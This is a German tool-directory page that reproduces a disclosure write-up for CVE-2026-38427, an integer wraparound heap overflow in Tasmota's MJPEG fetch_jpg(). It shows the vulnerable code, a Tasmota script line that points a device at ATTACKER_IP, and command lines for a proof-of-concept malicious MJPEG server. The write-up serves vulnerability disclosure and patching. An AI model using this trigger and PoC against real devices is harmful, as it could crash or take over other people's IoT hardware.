Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-38427 — CVE-2026-38427 — Integer-Wraparound → Heap-Pufferüberlauf in Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3) | Kitploit
Tools/GitHubGitHub/sermikr0/cve-2026-38427
Embedded-System-SicherheitIoT-SicherheitSchwachstellenanalyseExploitationPenetrationstestsHardware- & IoT-SicherheitBinary-Exploitation
GitHubsermikr0/cve-2026-38427

CVE-2026-38427

CVE-2026-38427 — Integer-Wraparound → Heap-Pufferüberlauf in Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3)

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-38427: Integer-Wraparound → Heap-Pufferüberlauf in Tasmota fetch_jpg()

CVE: CVE-2026-38427
Schweregrad: Kritisch (CVSS 9.8)
Produkt: Arendst Tasmota
Betroffene Version: <= 15.3.0.3
Datei: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Funktion: fetch_jpg() — Fall 2 (MJPEG-Frame-Abruf)
Autor: Saidakbarxon Maxsudxonov
Offenlegung: Verantwortungsvoll — vor der Veröffentlichung an Tasmota gemeldet


Zusammenfassung

In der Funktion fetch_jpg() des Scripter-Treibers von Tasmota existiert eine uint16_t-Integer-Wraparound-Schwachstelle. Wenn ein Tasmota-Gerät MJPEG-Frames von einem angreiferkontrollierten Server abruft, wird der Content-Length-Headerwert über atoi() in eine uint16_t-Variable eingelesen. Werte größer als 65535 werden stillschweigend umgebrochen (z. B. 65537 → 1), was dazu führt, dass ein drastisch zu kleiner Heap-Puffer zugewiesen wird. Das Gerät liest dann nur die umgebrochene Anzahl an Bytes aus dem Stream und lässt den Rest im Streampuffer zurück, was zu einer Beschädigung des Heap-/Stream-Zustands führt und einen Absturz (DoS) oder eine potenzielle Remote-Codeausführung verursacht.


Verwundbarer Code

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff));  // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
    size = atoi(cp + 1);   // atoi() returns int 70000
                            // IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size);   // malloc(4464) — too small!
if (buff) {
    stream.readBytes(buff, size);                  // reads only 4464 bytes
                                                   // 65536 bytes remain in stream → corruption
}

Integer-Wraparound-Tabelle


Angriffsszenario

Ein Angreifer, der ein Tasmota-Gerät dazu bringen kann, sich mit seinem HTTP-Server zu verbinden (über ein bösartiges Tasmota-Skript oder MITM), kann MJPEG-Frames mit Content-Length-Werten senden, die 65535 überschreiten. Das Gerät wird:

  1. Einen kleinen Puffer zuweisen (umgebrochener Wert)
  2. Nur einen Bruchteil der Daten lesen
  3. Die restlichen Bytes zurücklassen und so den HTTP/WiFi-Stream-Zustand beschädigen
  4. Abstürzen oder undefiniertes Verhalten zeigen, das zu potenzieller Remote-Codeausführung (RCE) führt

Auslösen per Tasmota-Skript:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

Proof of Concept

Der PoC startet einen gefälschten MJPEG-HTTP-Server, der Frames mit bösartigen Content-Length-Werten sendet:

root@kitploit:~
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072

Siehe CVE-2026-38427_poc.py für die vollständige Implementierung.


Auswirkungen

  • Vertraulichkeit: Hoch (RCE auf ESP32 möglich)
  • Integrität: Hoch
  • Verfügbarkeit: Hoch (garantierter Absturz/Neustart)
  • Angriffsvektor: Netzwerk
  • Authentifizierung: Keine erforderlich (das Gerät muss per Skript so konfiguriert sein, dass es sich mit dem Server des Angreifers verbindet)

Zeitleiste

  • 2026-03-29: Schwachstelle entdeckt und an MITRE gemeldet
  • 2026-03-29: CVE-2026-38427 zugewiesen
  • 2026-05-xx: Patch von Tasmota veröffentlicht (v15.3.0.4+)

Referenzen

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38427
Tool herunterladen
Content-Length (Header)uint16_t-WertZugewiesener PufferUngelesene Bytes
6553600 (übersprungen)65536
6553711 Byte65536
7000044644464 Bytes65536
13107200 (übersprungen)131072